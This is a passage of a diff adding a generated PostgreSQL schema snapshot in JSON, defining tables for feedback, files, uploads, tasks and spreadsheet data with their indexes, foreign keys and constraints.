"primaryKey": false, + "notNull": false + }, + "console_errors": { + "name": "console_errors", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'new'" + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "feedback_submissions_user_id_idx": { + "name": "feedback_submissions_user_id_idx", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "feedback_submissions_status_idx": { + "name": "feedback_submissions_status_idx", + "columns": [ + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "feedback_submissions_created_at_idx": { + "name": "feedback_submissions_created_at_idx", + "columns": [ + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "feedback_submissions_user_id_users_id_fk": { + "name": "feedback_submissions_user_id_users_id_fk", + "tableFrom": "feedback_submissions", + "tableTo": "users", + "columnsFrom": [ + "user_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.file_conversations": { + "name": "file_conversations", + "schema": "", + "columns": { + "fileId": { + "name": "fileId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "conversationId": { + "name": "conversationId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "linkedBy": { + "name": "linkedBy", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "linkedAt": { + "name": "linkedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "linkSource": { + "name": "linkSource", + "type": "text", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "file_conversations_file_id_idx": { + "name": "file_conversations_file_id_idx", + "columns": [ + { + "expression": "fileId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "file_conversations_conversation_id_idx": { + "name": "file_conversations_conversation_id_idx", + "columns": [ + { + "expression": "conversationId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "file_conversations_fileId_files_id_fk": { + "name": "file_conversations_fileId_files_id_fk", + "tableFrom": "file_conversations", + "tableTo": "files", + "columnsFrom": [ + "fileId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "file_conversations_conversationId_dm_conversations_id_fk": { + "name": "file_conversations_conversationId_dm_conversations_id_fk", + "tableFrom": "file_conversations", + "tableTo": "dm_conversations", + "columnsFrom": [ + "conversationId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "file_conversations_linkedBy_users_id_fk": { + "name": "file_conversations_linkedBy_users_id_fk", + "tableFrom": "file_conversations", + "tableTo": "users", + "columnsFrom": [ + "linkedBy" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": { + "file_conversations_fileId_conversationId_pk": { + "name": "file_conversations_fileId_conversationId_pk", + "columns": [ + "fileId", + "conversationId" + ] + } + }, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.file_pages": { + "name": "file_pages", + "schema": "", + "columns": { + "fileId": { + "name": "fileId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "pageId": { + "name": "pageId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "linkedBy": { + "name": "linkedBy", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "linkedAt": { + "name": "linkedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "linkSource": { + "name": "linkSource", + "type": "text", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "file_pages_file_id_idx": { + "name": "file_pages_file_id_idx", + "columns": [ + { + "expression": "fileId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "file_pages_page_id_idx": { + "name": "file_pages_page_id_idx", + "columns": [ + { + "expression": "pageId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "file_pages_fileId_files_id_fk": { + "name": "file_pages_fileId_files_id_fk", + "tableFrom": "file_pages", + "tableTo": "files", + "columnsFrom": [ + "fileId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "file_pages_pageId_pages_id_fk": { + "name": "file_pages_pageId_pages_id_fk", + "tableFrom": "file_pages", + "tableTo": "pages", + "columnsFrom": [ + "pageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "file_pages_linkedBy_users_id_fk": { + "name": "file_pages_linkedBy_users_id_fk", + "tableFrom": "file_pages", + "tableTo": "users", + "columnsFrom": [ + "linkedBy" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": { + "file_pages_fileId_pageId_pk": { + "name": "file_pages_fileId_pageId_pk", + "columns": [ + "fileId", + "pageId" + ] + } + }, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.files": { + "name": "files", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "driveId": { + "name": "driveId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "sizeBytes": { + "name": "sizeBytes", + "type": "bigint", + "primaryKey": false, + "notNull": true + }, + "mimeType": { + "name": "mimeType", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "storagePath": { + "name": "storagePath", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "checksumVersion": { + "name": "checksumVersion", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 1 + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "createdBy": { + "name": "createdBy", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "lastAccessedAt": { + "name": "lastAccessedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "files_drive_id_idx": { + "name": "files_drive_id_idx", + "columns": [ + { + "expression": "driveId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "files_driveId_drives_id_fk": { + "name": "files_driveId_drives_id_fk", + "tableFrom": "files", + "tableTo": "drives", + "columnsFrom": [ + "driveId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "files_createdBy_users_id_fk": { + "name": "files_createdBy_users_id_fk", + "tableFrom": "files", + "tableTo": "users", + "columnsFrom": [ + "createdBy" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.pending_uploads": { + "name": "pending_uploads", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "fileSize": { + "name": "fileSize", + "type": "bigint", + "primaryKey": false, + "notNull": true + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "expiresAt": { + "name": "expiresAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + } + }, + "indexes": { + "pending_uploads_user_expires_idx": { + "name": "pending_uploads_user_expires_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "expiresAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "pending_uploads_expires_idx": { + "name": "pending_uploads_expires_idx", + "columns": [ + { + "expression": "expiresAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "pending_uploads_userId_users_id_fk": { + "name": "pending_uploads_userId_users_id_fk", + "tableFrom": "pending_uploads", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.task_assignees": { + "name": "task_assignees", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "taskId": { + "name": "taskId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "agentPageId": { + "name": "agentPageId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "task_assignees_task_id_idx": { + "name": "task_assignees_task_id_idx", + "columns": [ + { + "expression": "taskId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "task_assignees_user_id_idx": { + "name": "task_assignees_user_id_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "task_assignees_agent_page_id_idx": { + "name": "task_assignees_agent_page_id_idx", + "columns": [ + { + "expression": "agentPageId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "task_assignees_taskId_task_items_id_fk": { + "name": "task_assignees_taskId_task_items_id_fk", + "tableFrom": "task_assignees", + "tableTo": "task_items", + "columnsFrom": [ + "taskId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "task_assignees_userId_users_id_fk": { + "name": "task_assignees_userId_users_id_fk", + "tableFrom": "task_assignees", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "task_assignees_agentPageId_pages_id_fk": { + "name": "task_assignees_agentPageId_pages_id_fk", + "tableFrom": "task_assignees", + "tableTo": "pages", + "columnsFrom": [ + "agentPageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "task_assignees_task_user": { + "name": "task_assignees_task_user", + "nullsNotDistinct": false, + "columns": [ + "taskId", + "userId" + ] + }, + "task_assignees_task_agent": { + "name": "task_assignees_task_agent", + "nullsNotDistinct": false, + "columns": [ + "taskId", + "agentPageId" + ] + } + }, + "policies": {}, + "checkConstraints": { + "task_assignees_has_assignee": { + "name": "task_assignees_has_assignee", + "value": "(\"userId\" IS NOT NULL OR \"agentPageId\" IS NOT NULL)" + } + }, + "isRLSEnabled": false + }, + "public.task_items": { + "name": "task_items", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "assigneeId": { + "name": "assigneeId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "assigneeAgentId": { + "name": "assigneeAgentId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "pageId": { + "name": "pageId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'pending'" + }, + "priority": { + "name": "priority", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'medium'" + }, + "startDate": { + "name": "startDate", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "dueDate": { + "name": "dueDate", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "metadata": { + "name": "metadata", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "completedAt": { + "name": "completedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "task_items_assignee_id_idx": { + "name": "task_items_assignee_id_idx", + "columns": [ + { + "expression": "assigneeId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "task_items_assignee_agent_id_idx": { + "name": "task_items_assignee_agent_id_idx", + "columns": [ + { + "expression": "assigneeAgentId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "task_items_page_id_idx": { + "name": "task_items_page_id_idx", + "columns": [ + { + "expression": "pageId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "task_items_due_date_idx": { + "name": "task_items_due_date_idx", + "columns": [ + { + "expression": "dueDate", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "task_items_userId_users_id_fk": { + "name": "task_items_userId_users_id_fk", + "tableFrom": "task_items", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "task_items_assigneeId_users_id_fk": { + "name": "task_items_assigneeId_users_id_fk", + "tableFrom": "task_items", + "tableTo": "users", + "columnsFrom": [ + "assigneeId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + }, + "task_items_assigneeAgentId_pages_id_fk": { + "name": "task_items_assigneeAgentId_pages_id_fk", + "tableFrom": "task_items", + "tableTo": "pages", + "columnsFrom": [ + "assigneeAgentId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + }, + "task_items_pageId_pages_id_fk": { + "name": "task_items_pageId_pages_id_fk", + "tableFrom": "task_items", + "tableTo": "pages", + "columnsFrom": [ + "pageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "task_items_pageId_unique": { + "name": "task_items_pageId_unique", + "nullsNotDistinct": false, + "columns": [ + "pageId" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.task_lists": { + "name": "task_lists", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "pageId": { + "name": "pageId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "conversationId": { + "name": "conversationId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "title": { + "name": "title", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "description": { + "name": "description", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'pending'" + }, + "metadata": { + "name": "metadata", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "task_lists_page_id_idx": { + "name": "task_lists_page_id_idx", + "columns": [ + { + "expression": "pageId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "task_lists_conversation_id_idx": { + "name": "task_lists_conversation_id_idx", + "columns": [ + { + "expression": "conversationId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "task_lists_user_id_idx": { + "name": "task_lists_user_id_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "task_lists_userId_users_id_fk": { + "name": "task_lists_userId_users_id_fk", + "tableFrom": "task_lists", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "task_lists_pageId_pages_id_fk": { + "name": "task_lists_pageId_pages_id_fk", + "tableFrom": "task_lists", + "tableTo": "pages", + "columnsFrom": [ + "pageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.task_status_configs": { + "name": "task_status_configs", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "taskListId": { + "name": "taskListId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "slug": { + "name": "slug", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "color": { + "name": "color", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "group": { + "name": "group", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "position": { + "name": "position", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "wipLimit": { + "name": "wipLimit", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "task_status_configs_task_list_id_idx": { + "name": "task_status_configs_task_list_id_idx", + "columns": [ + { + "expression": "taskListId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "task_status_configs_taskListId_task_lists_id_fk": { + "name": "task_status_configs_taskListId_task_lists_id_fk", + "tableFrom": "task_status_configs", + "tableTo": "task_lists", + "columnsFrom": [ + "taskListId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "task_status_configs_task_list_slug": { + "name": "task_status_configs_task_list_slug", + "nullsNotDistinct": false, + "columns": [ + "taskListId", + "slug" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.sheet_cell_deps": { + "name": "sheet_cell_deps", + "schema": "", + "columns": { + "tabId": { + "name": "tabId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "address": { + "name": "address", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "dependsOn": { + "name": "dependsOn", + "type": "text[]", + "primaryKey": false, + "notNull": true + }, + "dependents": { + "name": "dependents", + "type": "text[]", + "primaryKey": false, + "notNull": true + } + }, + "indexes": { + "sheet_cell_deps_tab_idx": { + "name": "sheet_cell_deps_tab_idx", + "columns": [ + { + "expression": "tabId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "sheet_cell_deps_tabId_sheet_tabs_id_fk": { + "name": "sheet_cell_deps_tabId_sheet_tabs_id_fk", + "tableFrom": "sheet_cell_deps", + "tableTo": "sheet_tabs", + "columnsFrom": [ + "tabId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": { + "sheet_cell_deps_tabId_address_pk": { + "name": "sheet_cell_deps_tabId_address_pk", + "columns": [ + "tabId", + "address" + ] + } + }, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.sheet_changes": { + "name": "sheet_changes", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "pageId": { + "name": "pageId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "tabId": { + "name": "tabId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "seq": { + "name": "seq", + "type": "bigserial", + "primaryKey": false, + "notNull": true + }, + "actorUserId": { + "name": "actorUserId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "actorEmail": { + "name": "actorEmail", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "changeGroupId": { + "name": "changeGroupId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "op": { + "name": "op", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "address": { + "name": "address", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "rowIndex": { + "name": "rowIndex", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "before": { + "name": "before", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "after": { + "name": "after", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "sheet_changes_page_seq_idx": { + "name": "sheet_changes_page_seq_idx", + "columns": [ + { + "expression": "pageId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "seq", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "sheet_changes_tab_seq_idx": { + "name": "sheet_changes_tab_seq_idx", + "columns": [ + { + "expression": "tabId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "seq", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "sheet_changes_created_at_idx": { + "name": "sheet_changes_created_at_idx", + "columns": [ + { + "expression": "createdAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "sheet_changes_pageId_pages_id_fk": { + "name": "sheet_changes_pageId_pages_id_fk", + "tableFrom": "sheet_changes", + "tableTo": "pages", + "columnsFrom": [ + "pageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "sheet_changes_actorUserId_users_id_fk": { + "name": "sheet_changes_actorUserId_users_id_fk", + "tableFrom": "sheet_changes", + "tableTo": "users", + "columnsFrom": [ + "actorUserId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.sheet_range_deps": { + "name": "sheet_range_deps", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "tabId": { + "name": "tabId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "formulaAddress": { + "name": "formulaAddress", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "rowStart": { + "name": "rowStart", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "rowEnd": { + "name": "rowEnd", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "colStart": { + "name": "colStart", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "colEnd": { + "name": "colEnd", + "type": "integer", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "sheet_range_deps_tab_idx": { + "name": "sheet_range_deps_tab_idx", + "columns": [ + { + "expression": "tabId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "sheet_range_deps_cover_idx": { + "name": "sheet_range_deps_cover_idx", + "columns": [ + { + "expression": "tabId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "rowStart", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "rowEnd", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "sheet_range_deps_formula_idx": { + "name": "sheet_range_deps_formula_idx", + "columns": [ + { + "expression": "tabId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "formulaAddress", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "sheet_range_deps_tabId_sheet_tabs_id_fk": { + "name": "sheet_range_deps_tabId_sheet_tabs_id_fk", + "tableFrom": "sheet_range_deps", + "tableTo": "sheet_tabs", + "columnsFrom": [ + "tabId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "sheet_range_deps_bounds_ordered": { + "name": "sheet_range_deps_bounds_ordered", + "value": "(\"sheet_range_deps\".\"rowEnd\" IS NULL OR \"sheet_range_deps\".\"rowEnd\" >= \"sheet_range_deps\".\"rowStart\") AND (\"sheet_range_deps\".\"colEnd\" IS NULL OR \"sheet_range_deps\".\"colEnd\" >= \"sheet_range_deps\".\"colStart\")" + } + }, + "isRLSEnabled": false + }, + "public.sheet_rows": { + "name": "sheet_rows", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "tabId": { + "name": "tabId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "pageId": { + "name": "pageId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "rowIndex": { + "name": "rowIndex", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "cells": { + "name": "cells", + "type": "jsonb", + "primaryKey": false, + "notNull": true + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "sheet_rows_page_row_idx": { + "name": "sheet_rows_page_row_idx", + "columns": [ + { + "expression": "pageId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "rowIndex", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "sheet_rows_tab_row_idx": { + "name": "sheet_rows_tab_row_idx", + "columns": [ + { + "expression": "tabId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "rowIndex", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "sheet_rows_cells_gin": { + "name": "sheet_rows_cells_gin", + "columns": [ + { + "expression": "cells", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "gin", + "with": {} + } + }, + "foreignKeys": { + "sheet_rows_tabId_sheet_tabs_id_fk": { + "name": "sheet_rows_tabId_sheet_tabs_id_fk", + "tableFrom": "sheet_rows", + "tableTo": "sheet_tabs", + "columnsFrom": [ + "tabId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "sheet_rows_pageId_pages_id_fk": { + "name": "sheet_rows_pageId_pages_id_fk", + "tableFrom": "sheet_rows", + "tableTo": "pages", + "columnsFrom": [ + "pageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "sheet_rows_tab_row_unique": { + "name": "sheet_rows_tab_row_unique", + "nullsNotDistinct": false, + "columns": [ + "tabId", + "rowIndex" + ] + } + }, + "policies": {}, + "checkConstraints": { + "sheet_rows_row_index_non_negative": { + "name": "sheet_rows_row_index_non_negative", + "value": "\"sheet_rows\".\"rowIndex\" >= 0" + } + }, + "isRLSEnabled": false + }, + "public.sheet_tabs": { + "name": "sheet_tabs", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "pageId": { + "name": "pageId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "tabIndex": { + "name": "tabIndex", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "rowCount": { + "name": "rowCount", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "columnCount": { + "name": "columnCount", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "frozenRows": { + "name": "frozenRows", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "frozenColumns": { + "name": "frozenColumns", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + 